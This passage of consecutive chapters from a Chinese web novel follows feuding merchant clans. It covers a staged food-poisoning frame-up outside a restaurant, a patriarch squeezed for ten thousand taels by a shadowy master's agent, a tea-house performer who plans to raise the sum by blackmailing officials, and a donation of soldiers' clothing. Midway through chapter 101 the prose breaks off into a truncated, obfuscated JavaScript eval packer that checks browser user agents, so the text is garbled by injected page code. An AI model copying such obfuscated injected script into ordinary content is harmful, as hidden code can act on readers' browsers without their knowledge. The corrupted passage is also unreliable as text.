好在上苍垂怜，十二年后，他们竟还能在这人世间重逢。 只是重逢方式，他没的选。 101. 绿江独家 骆家当家人骆睦，这次并没有发落九哥儿。 一则，当前悦来茶坊还需要九哥儿撑场，且今晚坊中有贵客，走漏了风声，就不好了。 二则，骆薛二家素来不睦，世人皆知，即便明着撕破脸也不甚要紧。若为此事而折损手下一枚重要棋子，得不偿失。 三则，薛家近来因这金玉满堂和茶炭生意，确实开始张狂起来。九哥儿这一看似莽撞的举动，也算是明着敲打了薛家一棒。府城，还轮不到他薛家当家做主。 再有，去年院试时那位榜首和他家夫郎当街救了九哥儿之事，骆睦自是有所耳闻。九哥儿后来确实当众向那二人示好。不过作为一名经过严苛训练筛选出的顶级茶伎，九哥儿当时那份“示好”中，究竟几分逢场作戏，几分真情实感。人心隔肚皮，又有谁能说得清。 眼下，还是不要节外生枝的好。 骆睦将眼底狠厉杀气消去，慢慢拈胡子，最后长舒一口气，让九哥儿走了。 一旁跟了骆睦几十年的老管家，很是摸不着头脑。 被骆家暗卫带进惩戒院的人，这么多年他就没见过有谁能站着走出去的。今日这九哥儿，算是头一人。 行事向来铁血、强硬的当家人，素日宁可错杀一百不会放过一人。今朝竟然能放人一马…… 不等管家细想下去，当家人下了指示：“你明日备上些礼，亲自送到薛家去。就说九哥儿今日喝醉了酒，误伤了去往薛家送货的人马，都是误会。” 管家恭顺立于一旁，点头应着，不过并没有急着离开。凭他对自家主子的了解，重点应该还在后面。 果不其然，骆睦压低声音：“薛家这金玉满堂，生意是好。你觉得呢？” 管家躬身抬头，试着读懂骆睦脸上的表情。对方眸子暗沉的一瞬，他熟练地拱手领命。 “老奴明白。” * 骆家大管家亲自登门谢罪时，苏晗正带人在各个庄子巡视。 昨日之事可大可小，但骆家既然已经盯上金玉满堂的往来运送，途中安保还是应加强。 庄聿白不在，苏晗做了主。今后不论是原料还是成品，往常每车3人的护送名额增至5人。而且每车配有利器，以备不时之需。新增的这部分安保费用，自有薛家来承担。 回程途中，苏晗特意途径小各庄。现在庄子虽在庄聿白名下，昨日受伤乡民却是因他薛家之事。苏晗作为当家少夫人，加以慰问，不逾矩，也未僭越。 周通等人当面谢过少夫人带来的药品和果品。苏晗正要走，却想起昨日是三人受伤。 “还有一人，是然哥儿。”管庄人周老汉向外看看，“这会儿应该在给葡萄秧苗喷水。” “然哥儿？那个瘦瘦小小平时腼腆少言的哥儿？”苏晗印象中似乎有这么一个人，她顿了顿，交代周老汉，“让他好生休养，庄公子回来自有安排。以及……运送货物今后多派些精壮之人。” 周老汉一一应着，将苏晗送至议事厅外。 “葡萄苗？”苏晗翻身上马，勒住缰绳，“是你们庄公子弄来的？” 苏晗早年跟着祖父四处宦游，对葡萄并不是太陌生，只是时下栽种的并不多，至少府城及南域北疆，她是从未听说哪里有葡萄栽种。 “庄公子在孟家庄有一座葡萄园，今年就可以挂果酿酒了。”周老汉笑着往山上指，“然哥儿现在照料的这些葡萄苗，是打算栽种在咱这后山上的。园址都看好了，少夫人您瞧，就在那一片向阳的缓坡上。” 天气渐暖，山上绿意见浓，不时夹杂几抹淡淡的粉，山桃樱李等也快冒花苞了。 “等你们庄公子此行回来，估计又有新的生意可以谈咯。”苏晗纵马转了两圈，“葡萄苗圃在何处，带我去看看。” “就在山脚的那处暖房。庄公子还放了炭盆在里面，说马上会长成我们的摇钱树呢！” 周老汉前方带路，刚行未几步，进庄路上远远一匹马疾驰而来。 薛家小厮，奋力挥鞭，行至近处翻身跳马，满脸急切：“少夫人，景楼出了些差池。您回去看看。大公子去齐物山了，也已着人去请。” 苏晗黛眉微蹙，对周老汉说了句“改日再来！”便纵马去了。 * 骆家大管家着七八个小厮，抬了三四抬谢礼，浩浩荡荡到薛家登门谢罪。 两位当家人都不在，连老太太也去了庙里还愿。薛家管家忙让人去齐物山传话，出于礼节，也鉴于以往两家过节，忙将人请至客室奉了茶，谁都不敢怠慢，怕落人口实，更怕授人把柄。 客茶奉至第三盏时，去齐物山请示的小厮还不见回来。管家脸上的笑都要僵住了，忙又亲自捧了一碟茶果上来，递与同样笑脸僵硬的骆家管家。 两边正要开口客套一二，门外咚咚咚响起一阵脚步声，二人各自隐隐舒了一口气。 “大公子可有什么指示？”薛家管家走出去问那小厮。 小厮记得泪花在眼底打转，也没听清管家说的是什么，见有客在，忙压低声音说：“景楼出事了！说咱金玉满堂吃死了人！苦主正在景楼闹呢！” “吃死了人！” 这一惊可非同小可，管家一个趔趄差点摔倒，也顾不得那么多，忙急吼吼向门外跑。快到门外忽想起家中有客，又折回来，极力稳住情绪：“家中有事，失陪了……” 骆家管家也不让人为难，起身道：“礼物及礼单既已送到，我等先行告辞。” 先送了客。薛家众人，忙赶至景楼。未至近前，便见主街上里三层外三层围满了看热闹的人。 景楼在府城算得上数一数二的酒楼，生意向来红火，加上涮锅和金玉满堂的加持，近来更是府城盛宠，不少外地甚至京中之人也慕名前来，只为尝上一尝这声名远播的紧俏食材。 景楼位置极佳，地处繁华，原本客流就大，赶上饭点，又有人命官司这等百年不遇的大热闹可以看，门前早围了个水泄不通。 小厮路上捡重要的跟管家说了个大概。 “大约半个时辰前，楼下来了几个披麻戴孝之人。说他家公子吃了咱家的金玉满堂，中了毒。马上就要死了。这会子一群人正闹着讨公道！说我们不给个说法，他们一家人就都要撞死在我们楼前。” 管家不住地抹头上的汗珠子。薛家在府城这么多年，向来诚信经营，周全行事，尤其在吃食上面更是从来不敢马虎半分。别说中毒，就是吃坏肚子之事都从未发生。怎么会有人中毒身亡！ 人越聚越多，管家等七手八脚往看客漩涡中间挤，等到近前才见地上三五个披麻戴孝之人正围着一人哭天抢地嚎啕。而中间躺着那个年轻男子，嘴角发黑，面色发青，看上去确实像是中毒而亡。 管家悬着的心，狠狠摔在地上。 小厮们一见他来，像是瞬间找到主心骨，忙挤上前：“今日金玉满堂都试过了的，其他人吃了都没问题，怎么单单这位公子中了毒？会不会不是我们……” 地上正哭天抹泪人一听，顿时怒了，直接站起来捉住那小厮狂吼：“什么叫别人吃了没问题？我们吃了就中了毒？你们家东西吃死了一人还不算，难道要将所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叫嚣之人一脸狐疑，快速转了转眼睛：“救人，自是可以！可我们初来乍到，人生地不熟，就这样被你们带了去，说是去医馆，谁知道会去哪里？若路上你们起了歹意，把我们扔河中喂鱼，又有谁人能知！” 说罢那人猛地向围观众人跪下，眼泪扑簌簌掉：“各位父老，我们的友人已经性命垂危，万望替我们做个见证，主持个公道！” 吵闹声越来越大，酒楼中之人也涌出来。刚才吃过金玉满堂的客人一听吃坏了人，更是人人自危，个个气愤。将景楼掌柜团团围住，就要挥拳拼命。 现场乱成一团。 不死人，就还有转机。 管家乱中揪住一个小厮：“去医馆请郎中，赵郎中、郭郎中都请来！快去！” 不多时，半条街都闹起来。 可闹得越凶，管家和掌柜倒稍稍镇定下来。 两人隔着混乱的人群，迅速对了个眼神。闹事之人说是身中金玉满堂之毒，若郎中诊断并非中毒，那就是有人寻一将死之人来寻衅滋事。 这事便简单了。 乱势不减，从掌柜到小厮推搡中都或多或少挨了些闷拳。好容易等来了郎中，掌柜得忙让人开出一条路，将郎中塞至病人跟前。 “赵郎中，快给看看！说是中毒……” 见兹事体大，那赵郎中哪敢怠慢，半趴在地上一顿望闻问切，花白眉毛越锁越紧，形势危急，他又抽出银针，一番施针催吐。 管家和掌柜的心，被那一根根银针越扎越紧，最后紧缩成一团，连呼吸也屏住了。 “确实是中毒。”赵郎中给了结论。 102. 影子 薛家酒楼害人中毒？ 这下不得了。人群中“正义之士”被煽动起来，义愤填膺地要砸了薛家这“景楼”的招牌。 一声立马嘶鸣，薛启原似从天而降，纵身挥鞭，利落打掉试图捣向景楼牌匾的棍棒等杂物。 马鞭嘹亮。景楼牌匾下瞬间闪出一片空地，薛启原只身立于那门前，大有一夫当关、万勇莫敌之儒将气概。 “在下薛启原，是这家酒楼的东家。景楼所有事情，找我即可。与我楼中掌柜、伙计等皆无干系。若是阁下当真在我店内茶饭中毒，我薛启原定当全力担责，绝不推诿。若但有人故意搅局，污我清白，我薛启原气量狭小，定当奉陪到底，绝不善罢甘休。” 手中摩挲马鞭，薛启原抬头看了眼门楣之上，语气发了狠：“这牌匾是我薛家脸面，事实真相未有定论前，谁若动它，先问问我这马鞭！” 挤挤挨挨的半街人，瞬时静得恍惚。 薛启原问向一旁小厮：“可报了官。” “报过了。差役捕快大人们很快就到。” 地上几人，先是被薛启原气势镇住了，又听闻报了官，顿时收敛不少，没了方才踢翻乾坤、取而代之的架势。 此时人群狂热尽皆散去。薛启原出现的那一瞬，心中那杆秤一下恢复平衡。不觉纳罕，方才被妖魔附了体么，怎么头脑一热就跟着闹起来。 薛启原门前震慑乱局之时，一同赶来的孟知彰已于无人察觉时转身绕进景楼。 “那几人方才坐哪里？” “一楼这个角落位置。”伙计已吓得脸色苍白，他擦着额头的汗，慌忙忙引孟知彰过去，“他们几人来时，勾肩搭背，互相搀扶进来的，特意要求在一楼寻个安静之处。” “这桌菜可有人动过？”孟知彰四周扫了一圈。 “没人动，没人动。他们说吃坏了人，哪个敢动。特意着人看着，只等官爷们来验。” “他们口口声声说是金玉满堂中的毒，可有点？” 伙计想了想：“点了！点了！一进门就说要金玉满堂。其他菜倒是不甚在意。” 孟知彰朝桌上看去，菜品七八碟，只粗略动了动：“这几道菜，是他们单点的，还是其他客人也有点？” “都是店内寻常菜肴，每日能出几十上百盘，也没见其他客人中毒！他们来了一盏茶时间，菜还没上齐就中了毒！还倒地不起……这，这肯定是来讹人的啊。”那伙计说着给孟知彰跪下去，“孟公子，您可要帮我们大公子想想办法啊！” 孟知彰将人拉起来。此事是冲薛家来的没错，但更是冲金玉满堂而来。现在两家一荣俱荣一损俱损。若是真由着外面那群人将薛家拉下马，琥珀这金玉满堂的生意算是做到了尽头，甚至更有牢狱之灾等着前面。 门外抢救仍在进行。 中毒之人催吐之后，又服了些常见的解毒汤剂，气息喘匀了些，面上也有了点血色，不似方才那般蜡黄。 带头闹事之人见官差来了，忙跪爬上前，声泪俱下：“官老爷给草民做主！他们店大欺客，吃死……吃坏了人，倒在此颠倒黑白，不认账！青天大老爷，为我们这等草民做主哇！” 府衙差役冲薛启原行礼抱拳，了解大致情况，既然苦主说是食物中毒，验菜便是。 差役带来的仵作和现场几名郎中一起，将方才几人用过的菜肴一一验过。 饭菜无毒。 杯盘盏碟，也无毒。 “无毒？”那几人不认，开始胡搅蛮缠，“怎么会无毒？无毒这人怎么吃了他家的东西就倒下了！早听说你们薛家权势滔天，果不其然！不知私下运作了什么，竟能将有毒说成无毒。朗朗乾坤，还有天理吗，还有王法吗？既如此，我便以血明志！” 说时迟，那人从袖中掏出一把短刀，就往自己脖子上扎去。 明眼人都已看出，这就是冲着薛家来的。中毒没死成，那就血溅当场。有人死在你薛家门前，这脏水你薛家接也得接，不接也得接。 薛启原忙挥鞭去卷那短刀，奈何晚了一步，鞭尾差着半尺远。只能眼睁睁看着那柄短刀朝着青筋崩出的脖颈划去。 薛启原下意识垂下眼眸，心中快速盘算，若此人当真血溅于此，该如何将薛家损失降到最小。全部问责自己承担，与旁人无关。家中妻子与弟弟…… 时间不知过去多久，忽听“哐啷”一声，循声看去，那扎向脖颈的短刀甩在地上。 孟知彰一脚踢掉对方短刀，一个转身，端出的那盘果品仍稳稳停在手中。 “这位兄台，你着什么急？事情还没到最后，以血明志，还不至于。方才你说你这位友人因何中毒？对，景楼的金玉满堂。我正好就在您旁边一桌用餐，我看得清楚，您这位朋友就是吃了这盘金玉满堂，立马倒地不起。” 那人猛地被下了刀，有点懵，看眼前书生不像书生，武生不像武生之人，虽说不认识，但对方能站出来替自己说话，便以为来了转机，忙起身高声附和，甚至拿了一块金黄软韧的糕点在手上。 “这位仁兄说的是，张兄就是吃了这份金玉满堂，才中毒倒下的。景楼这金玉满堂害人不浅。或许朗郎中和仵作都验不出其毒性，但人就是吃了这个中毒的！这个事实，薛家想推脱，是推脱不掉的！” “兄台确认，就是您手上那的这‘金玉满堂’？” “确认！就是这金玉满堂！”那人高高举起手上糕点，不停向人群示意。 终于有人看不过去了，呛声道：“胡扯！你口口声声说是金玉满堂中的毒，你手里拿的是什么？我看你根本就不知道什么是金玉满堂，只在这胡乱攀咬诬陷！” 那人愣了下，看看手中之物，声量不觉小了几度：“就是这金玉满堂啊！” 孟知彰眉角暗不可察地扬了扬。 “看来这位兄台记性不好啊。连方才吃过什么也不记得。这根本不是景楼金玉满堂。金是金球，而玉是玉片。金玉满堂是两道菜。而阁下手上这块，是方才我让小厮在隔壁嚼月坊买的一份黄金糕。你口口声声说中了金玉满堂的毒，结果连金玉满堂都不认得！” 看客，向来多为骑墙者，见风向变了，忙上来帮腔攻讦这生事之徒。 “原来是一群骗子！诈死讹人吧！” “真坏透了，亏我刚才还替他们说好话。到底是谁派你们来的！” “这种人哪配活在世上，换作是我，就用那块黄金糕一头撞死！”< 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“府中无人可用倒也罢了，军中呢？你们骆家在军中那些旧部将，要么无用，要么随着新主屡立奇功。若主子到时需要你们骆家军功加持，你拿什么进上？贵府那位被一只狗当街撕掉裤子的二公子？” “……新主？什么新主？”西境战功之事，骆睦多少有所耳闻，来人所提新主一事，令他心中猛地一沉，老迈的身子躬得更低，“还请乙公子明示。” “没有用的棋子，只能是废子。既然你不堪用，就需要堪用的补上。” 乙目光幽黑，面无表情，声音更听不出任何情绪。 “那云校尉，年轻有为，是个人才。骆老，若主子给他乘风之力，您猜他能否如当年的您一般，全力接住扶摇直上？反正都是骆家人，都占这一个‘骆’，用谁不是用呢？” “骆家人？” 骆睦猛地抬起眼眸，浑浊的眼底，各种情绪翻江倒海般碰撞。去岁武举场上打败自己次子的那个年轻人，他派人查过。不过一乡野之人，偶得武僧教导，但念其无根无基，便没当一回事。 “那人不是姓云么，怎会是我骆家人？” “骆老，你手下当真无堪用之人？这些情报竟需要我来告知你！主子给你的伶伎网络，你也只用来给人斟茶递水？” “老奴知错！”骆睦腿下一软，直接跪倒。 乙垂眸摩挲下指腹厚茧：“我此次来，主要传个话。主子要置换一批装备，限你一个月内备好银子一万两。” “一万两！老奴一时凑不出这许多现银呐！”骆睦手开始发抖。 乙像极了一道影子，没有任何情绪起伏：“云无择势头正盛，若当年骆瞻之事，一不小心透露出个一二分……” 话没说完，骆睦猛地匍匐在地：“老奴明白！老奴竭尽全力效忠主子。一万两银子，一月之内定送至乙公子手上。” 乙起身走至门前：“那些伶伎，是您骆老之人，也是主子之人。行事注意些分寸。” 翻身一跃，没了踪影。 103. 第 103 章 骆家在府城能有今日，皆因上头有主子护着。 主子荫蔽下，这府城之内，只要骆家行径不至于太离谱，比如把烧了府衙、捅了差役什么的。再大的事，都不算事。所以他家一个管家都敢擅自纠结几个脸生的外乡人去薛家门前当面泼脏水。 只可惜事没成。 人没死，中毒也不成立，那几人咬死自己只是穷疯了想敲诈薛家一笔，最后官方以诈财未遂打了几十板子，并判了几个月牢狱之刑。这事在官方便算告一段落。 薛家自是知道背后谁人所为。但凡事若不能一招制敌，任何轻举妄动便没有意义，还可能伤敌一千自损八百，得不偿失。 何况眼下薛家有了庄聿白这个合作伙伴之后，生意蒸蒸日上、势头正盛，正是安稳发展、大展羽翼的绝好时机。与骆家维持表面的和平相处，是最优解。出事前，骆家管家亲自送来的几抬赔罪之礼不已经送来了么。 还有就是，这几个闹事之人已经被打得血肉模糊了，但咬紧牙关谁也没吐露半个“骆”字。一则骆家势力在那摆着，他们惹不起。关键是，寻来的这几人，手里都有些不干净的过往，授人以柄，自然任人拿捏。 此等驭人之术，骆家懂得。骆家上头那位在至尊权力漩涡中浸染多年的主子，自然更是驾驭得炉火纯青。 绝对权力面前，任何出于利益让渡的捆绑，都是不牢靠的。若仅仅以利来拉拢，出现更大利益时，此前的联盟瞬间溃败成沙。只有将所用之人的致命把柄握在手上，这枚棋子，用起来才放心，也安心。 十八年前骆家那件见不得光之事，便是操控眼下骆家的绝好把柄。这也是多年来骆家能死心塌地、唯命是从、替上面做了不少脏活累活的根源所在。 还是那句话，你不堪用，自有堪用之人将你挤出局。成了弃子，下场可想而知。 骆家没有退路。 但主子开口如此大，说明西境军功确实引起主子注意。再则，不也说明主子看中自家么。主子凡有急难之事，都朝骆家伸手，这正是主子的信任。而且，此次乙公子亲自前来传信，更显主子对自家的重视。 乙，是主子的暗卫，也是贴身心腹。神秘少言，见过他的人不多。平时只近身侍奉主子，更是极少出京。这次能劳他来做信使，也算给足了骆家面子。 如此一想，方还惴惴不安的骆睦，心中忽然踏实起来。他腰杆挺直，在房间悠哉悠哉踱起步子。 去岁武举比试中，得了名次之人皆随军去了西境，骆耀祖因祸得福，排名靠后，加上骆家稍作运作，西境名单上便成了候补。 骆家当年是武将出身，在西境确实还有一些旧部。有钱能使鬼推磨。如今骆家在府城呼风唤雨，家底比之前沙场吹风时厚了不知多少，逢年过节，骆家也会时不时赏些油水过去。 养兵千日用兵一时，春季这批武才去往西境时，骆睦打算让骆耀祖一同去。这么多年的投入也该有个说法。收一收这群旧部之心，若助骆耀祖立下一二军功，光耀门楣不说，骆家在主子那边的分量岂不更重了。 “云无择，云无择！”骆睦念着这个名字，忽地停下脚步。 巨大的身影浮上窗棂，他开了窗，暗了又暗的目光向外望去。不知是看庭院那沾满新旧血迹的惩戒石，还是穿过时间风霜回望，想看一看十八年前离开府城不知去处的年哥儿。 不过这云无择竟是骆瞻之子，他是万万没想到。 当年是自己心慈手软，以为那孱弱的年哥儿没几日活头，便由他去了。谁知他竟活了下来。不仅活着，还神不知鬼不觉给骆瞻生了个儿子。关键这遗腹子已经站到自己眼皮底下了，自己竟然还茫然不知！ 这太不应该了。 “张椿！”骆睦唤了掌事的来，“去，将去年秋天探听云无择身份之人，全部家法处置！” 张椿见骆睦神色不对，没敢多问，忙点头应“是”。 “老爷，那还需不需要再去打探一番？孟家村地处偏僻，或者神不知鬼不觉……”张椿比了个杀的手势。 骆睦眼眸转了下，摇摇头：“垂死之人，不足挂齿。他能活到今日，也只吊着一口气。若动他，恐惊了旁人，扯出陈年旧事就不好了。着人留意着就行。倒是这云无择……你去给西境传信。” 张椿是跟着骆睦的老人，他深知当年之事是骆睦的死穴。骆睦怎么说，他怎么做便是。正要转身离开，又被叫住。 “还有，再去找一万两银子出来，要快！上面等着用，一个月内是要交过去的。”骆睦朝上拱了拱手，示意掌事这是家中头等大事，办不成、办不好，可是关乎项上人头。 “一万两？！” 兹事体大，管事张椿忍不住想再说些什么，不过骆睦狠厉且不容置疑的目光压过来时，他只有点头的份儿。 骆睦自己也清楚，一万两银子着实不是小数目。骆家账上流动银子几千两是有的，一时筹措一万两银子确实需要花些时间。问题关键是，割出去的肉，总会痛。而且有第一次就会有第二次，这此填补上，下一次还会有新的需求，那时又该怎么办？ 新的办法，无外乎开源和节流。节流是节不出一万两银子的。但这“源”怎么开呢？ 方才乙临走特意提到九哥儿。 “昨日九哥儿来训诫堂前，你说公子乙在悦来茶坊喝茶？”骆睦在张椿脸上得到肯定答案，“那九哥儿可说过什么，做过什么？” 张椿眨了眨眼，仔细回想：“公子乙申时就在坊中了，只叫了个僻静雅座，众人虽不识，但能看出是贵人，都不敢怠慢。九哥儿也不认得他，只当普通客人献了茶。九哥儿中间带人出去砸了薛家运送金玉满堂的车辆，公子乙也未离席。九哥儿回来后，自知老爷年会罚他，恐一时半刻难再登台，临来惩戒堂时，特意在茶坊献了一支舞……” “献舞？”骆睦捋了捋胡子，“九哥儿献舞时，公子乙是何反应？” “一切如常。淡淡的，没有任何表示。众人皆拍手叫好，不住往台上扔彩头时，他也只是冷冷看着。” 骆睦回忆着公子乙提及九哥儿时的神情，看不出情绪，又似乎饱含情 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骆睦高头大马在府城主街阔步向前，他没见过这种排队盛况，见铺门紧闭的薛家货行不少拎着食盒之人聚在那里，还以为薛家要施粥施米，正纳闷近来也未听闻哪里有灾荒，又看那些人衣着装扮也不像缺钱米的人家。便冲身边人挥鞭一指：“这是做什么？” “等铺子开门，买金玉满堂之人。”张椿跟上前解释，怕骆睦心中不快，忙又陪笑补充，“不过一家铺子每日也就卖个十斤，赚不了几两银子，图个虚热闹罢了。” 骆睦没再说什么，一记鞭子抽在马身。 九哥儿如往常般在茶坊巡视，正准备开门营业，随着一阵马蹄响，却见骆睦出现在正门。 骆睦极少登门，更从不会在清晨来茶坊。前晚将已踏入训诫堂的九哥儿完好无损放回，今朝又不请自来，九哥儿心下跟着一沉。他猜不透骆睦要他做什么，但他知道对方态度越好，自己要做之事便会越难。 二楼雅间，九哥儿跪着奉了茶。 骆睦有世家之人的清高，九哥儿等伶伎对他而言不过会言语的猫儿狗儿，平时根本没资格向他端茶递水。今日他压住微蹙眉心，还是将茶接过来。 “九哥儿，茶坊生意如何？”骆睦并没喝茶，声音也听不出喜怒。 “每日流水多则三四百两，少则一二百两。除去各类支出，每月千两银子的盈利是有的。”九哥儿小心应答。这类账目每月掌事的都亲去汇报，今日不知为何会问到他面前。 “每月千两，可不行。”骆睦声音低沉，“你去将薛家金玉满堂的生意拿过来。” 满府城谁人不知，现在金玉满堂就是薛家的金字招牌。九哥儿一小小茶伎如何撬得动对家这块肥肉。 九哥儿忙跪在当地：“九哥儿知错了，还请老爷明示。” “办不到？”骆睦冷笑一声，“但你有比金玉满堂更厉害的。是时候拿出来了，不是么？” 104. 收网 作为千挑万选、精心培养起来的伶伎，九哥儿自然不只会迎来送往、端茶递水、歌舞怡人。 凡事皆需代价。能被骆家安置在悦来茶坊，享受着半个主子般的雍容华贵生活，自然也需要在关键时刻替主子分忧解愁。 “九哥儿，”骆睦意味深长地唤了声这个名字。 作为骆家当家人和骆氏一族的话事人，九哥儿这种下九流的伶伎，何时能入他的法眼？虽知道自家茶坊向来是眼前这个小哥儿撑门面、织往来，但他从未召他当面回过话。 茶坊经营状况自有掌柜和账房定时请示汇报。即便上次要惩处九哥儿，那也是隔着一道门。 九哥儿，不过是一个漂亮且好用的工具，哪里配和主子同处一室。 若不是昨夜公子乙提到这个小哥儿，骆睦或许永远不会屈尊来茶坊找他。提起公子乙，骆睦不觉将视线落在跪于当地的这个茶伎身上。 “你抬起头来。” 脚下人缓缓抬头。一张乖巧精致的脸，出现在骆睦面前。美得触目惊心，又干净得像是根本不属于这个世道。 只一眼，骆睦不由倒吸一口冷气。“祸国殃民”大抵如此吧。一张脸，看似恭顺哀戚，可那背后却透着一股说不出的韧劲和狠劲。 “……老爷。”不知过了多久，管家张椿轻声提醒，骆睦方回过神来。 “九哥儿，你来茶坊多久了？”骆睦端起一旁冷置多时的那盏茶。 “回老爷，六年零三个月。”脚下人垂眉顺目。 “很好。”骆睦放下茶盏，不知这句话是评茶还是评人，“那日你说外面传言是假，你对骆家从无二心？” “是。九哥儿一心效忠骆家。听从老爷差遣。”九哥儿心中一沉，面上不显，复又郑重拜了下去。 骆睦点点头，弹了下衣襟灰尘，从椅子上站起身：“忠不忠心，我从不听人如何说。我要看他如何做。明白吗？” “九哥儿明白。” “好，你表忠心的时候到了。”骆睦故意顿住，待脚下人抬起脸，对着对方的眼睛，一字一句缓缓道出，“眼下家中亟需一万两银子，限你十五日筹齐。” 此话一出，一旁的张椿先惊得双眼圆整。他以为老爷只是吓唬吓唬九哥儿，告诫他今后行事当心。可看骆睦的行事，却无半点玩笑之意。骆睦今日前来，就是要将这银两筹集的任务摊派给悦来茶坊，摊派给九哥儿。 可这是一万两银子！此刻即使把整个悦来茶坊卖掉，也卖不出一万两呐。 不忠于主子之人，会被直接处理掉。但验明忠心，也不能这般验吧。骆家上下几百号人，凭谁也不可能半个月弄到一万两银子。难道这就能说全骆家没一个忠心之人？这明明是将人往死路上推。 张椿鬼使神差地竟想替眼前这个小哥儿求句情，哪料九哥儿却一个头磕下去。 “老爷让九哥儿半月之内筹集一万两银子，九哥儿不敢不从。但此事绝非易事。”九哥儿乖顺地伏在地上，“若按照悦来茶坊正常运转来看，这一万两银子的利润大概需要一年时间。但老爷只给九哥儿半月时间。” 九哥儿知道这是命令，没有任何给他讨价还价的余地，所以没提出异议，话却停在问题关键处，等了片刻，见骆睦并不打算做任何回应，便又道： “那茶坊之人，或者家中之人是否皆可供九哥儿差遣？以及，老爷对九哥儿筹钱的手法，可有限制？” 骆睦耷下眼皮，定睛看了一眼九哥儿。正常人听到半月筹齐一万两，早吓得满地求饶了。这九哥儿言语间虽也为难，却能对答如流，甚至提出自己的顾虑和要求，头脑清晰，也很有些胆识。 此子，当真不容小觑。 骆睦之所以敢将这一万两压在九哥儿身上，多亏了公子乙的提醒。公子乙说的对，一把好刀藏在鞘内整日给人端茶递水，太过可惜。 骆睦扫了眼那杯冷掉的茶，稍稍顿了顿：“骆家之人，你想用谁，尽管去用。想如何做，也尽管去做。不过家中规矩你也懂。万事出了差池，都是你自己所为，若敢漏出一个‘骆’字来……” “是。九哥明白。凡事皆由九哥儿一人承担。” 得到明确答复，骆睦很满意，没再多说什么，出门上马走了。 九哥儿唤了个小厮进来，撤去房内茶盏，并让人将方才骆睦碰过的桌椅地砖等全部用水擦洗了一遍。 半月一万两。九哥儿心中冷笑一声。骆家当真是看得起自己。 虽说弄到银子，也不一定真正消除骆睦对自己的猜忌。但能立此大功，却能证明他九哥儿对骆家仍能产生重要价值。有价值，才不会被清掉，才能继续安稳在骆家待下去。 九哥儿需要骆家这个立足之地。 不过九哥儿敢接这一万两的任务，九哥儿快速盘了下，多少还有些信心。 骆家这些年培养起来的伶伎，多在悦来茶坊九哥儿名下。他们从小经过严苛的教习规训，制茶品香、琴棋书画、歌舞诗赋样样精通。才情样貌之外，人情练达也绝非寻常人所能比拟。 府城大小官员不少，豪奢商贾云集。人前显赫的贵人们，峨冠华服，个个以正人君子自居。但光鲜亮丽的背后，到底是黑是白，就没那么容易知晓了。 不过话说回来，哪家菜刀不沾腥？谁家门帘背后没几点污渍？ 内宅之内的门道，以常理来寻是走不通的。这时，这个身处暗影中的群体，终于可以上场了。 以九哥儿为首的伶伎，这群达官显贵茶余饭歇的助兴玩物，表面受人追捧看似风光无两，究竟有谁会真正把他们当人看？ 他们只是一群影子，召之即来挥之即去的货品，如盏中茶无异，他们制茶奉客，客人品味茶，也玩味他们。人走茶凉，至于制茶之人，玩意而已，谁会在意？ 一群蝼蚁，他们的悲喜与去向，没人真正留意。 所以，无人留意处，这群无人当人的处境，给了他们于暗处观察的有利角度和得天独厚的保护色。 他们或被邀进酒会饭局，当成粉饰太平的精美饰品； 或被招进内宅，当做工具教习深闺女眷制茶品香； 亦或被小轿抬至卧榻，供上位之人任意采撷尝鲜； ……< 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花钱消灾，哪个会不依呢？何况只是百两银子的小钱，他们素日手中随便打赏的都比这多。问题是这一次向哪些贵客们张口。 九哥儿细细盘着匣子中的名单和各类证据。 小钱只需小把柄。打一巴掌后，需迅速给颗甜枣。毕竟今后大家还是要在府城长期友好相处的，失了贵客之恩，就不好了。当然这种情绪安抚的手段，九哥儿手下的伶伎们，擅长得很。 接下来的日子，悦来茶坊表面上正常营业，一切如旧。水面下却早已暗流涌动，只待水浑收网。 悦来茶坊的伶伎忙着收网抄鱼之时，薛家成衣铺也在忙着满城采买布匹，裁制单衣。 三日前，三省书院山长将一封信交到孟知彰手上，南先生着人送来的。一封南先生写与他的私信，一封则是托他转交给薛家的家书。 南时在信中交代，自己于南边游历，好巧不巧遇到薛家少夫人苏晗的祖父。他与苏老先有同朝之谊，只是私交甚少，这次正好天赐良机，半赋闲的两人竟携手游山戏水，惬意得很。只是苏老先生有些挂念孙女，特写家书一封。 话完家常，南时提到自己军中旧识托他一件事。军中粮米战袍等有朝中定量定时供给，但将士们的贴身之衣却多需自家准备。马上换季了，许多底层士卒要么家贫难以备齐，要么道远一时送不到，出现缺衣少袜的情况。军中已向朝廷上了折子，但经费即便审批下来，待衣衫备齐再运到前线后，估计已经夏日了。 南时让孟知彰与薛家商议一番，看能不能凑齐里衣千件送去西境。若可以，送到安西军驿提南时的名字，自然会有人接应。 孟知彰将此事说与薛启原，话刚一半，薛启原起身行礼：“孟公子之事就是我薛家之事。即日起，我薛家将制作两千件里衣送与西境将士。” 孟知彰忙还礼、表态：“我夫夫二人虽家资有限，但出金玉满堂三个月营收用于此次军衣制作。” 言罢，孟知彰视线不觉移向窗外。算算日子，军衣制作完成之时，他家那一位也该回来了吧。 105. 小别 与薛家议定军衣事宜，孟知彰立马回书南时，让对方安心。 信中称七日内赶出两千套军衣以供边疆之急，月末薛家会再筹备一千套，随商队运至西境。后续若仍有空缺，薛家定随时待命，义不容辞。 接下来数日，除去茶炭和金玉满堂的日常打理，孟知彰学院读书下学之后，便与与薛启原在薛家成衣铺子议事。 布料采买收集、裁制人员统筹、成衣验收打包以及运送车辆和人手安排等等，薛家都有非常完备且成体系的操作流程。孟知彰自然信得过薛启原，也信得过薛家。但薛启原却说此次事关边塞将士，是南先生孟知彰的缘故，他们方能出这一份力。此如前所言，今后薛家愿意为孟知彰鞍前马后效力。 “薛兄言重了。薛家有此大义之举，乃西境将士之幸事。军衣运出前，凡大事小情，孟某愿意每日来铺子里与薛兄一同商议。” 这日孟知彰刚进铺子，便被薛启原一把拉住：“孟兄，好消息。今早小厮来报，说贵夫郎与家弟弟最迟明日也就回来了。” “最迟明日？”孟知彰捕捉到问题的关键，眉梢暗不可察地扬了扬。 “是。”薛启原听出对方语气中的轻松，微微一笑，一副磕到了的表情，“也有可能今日。” 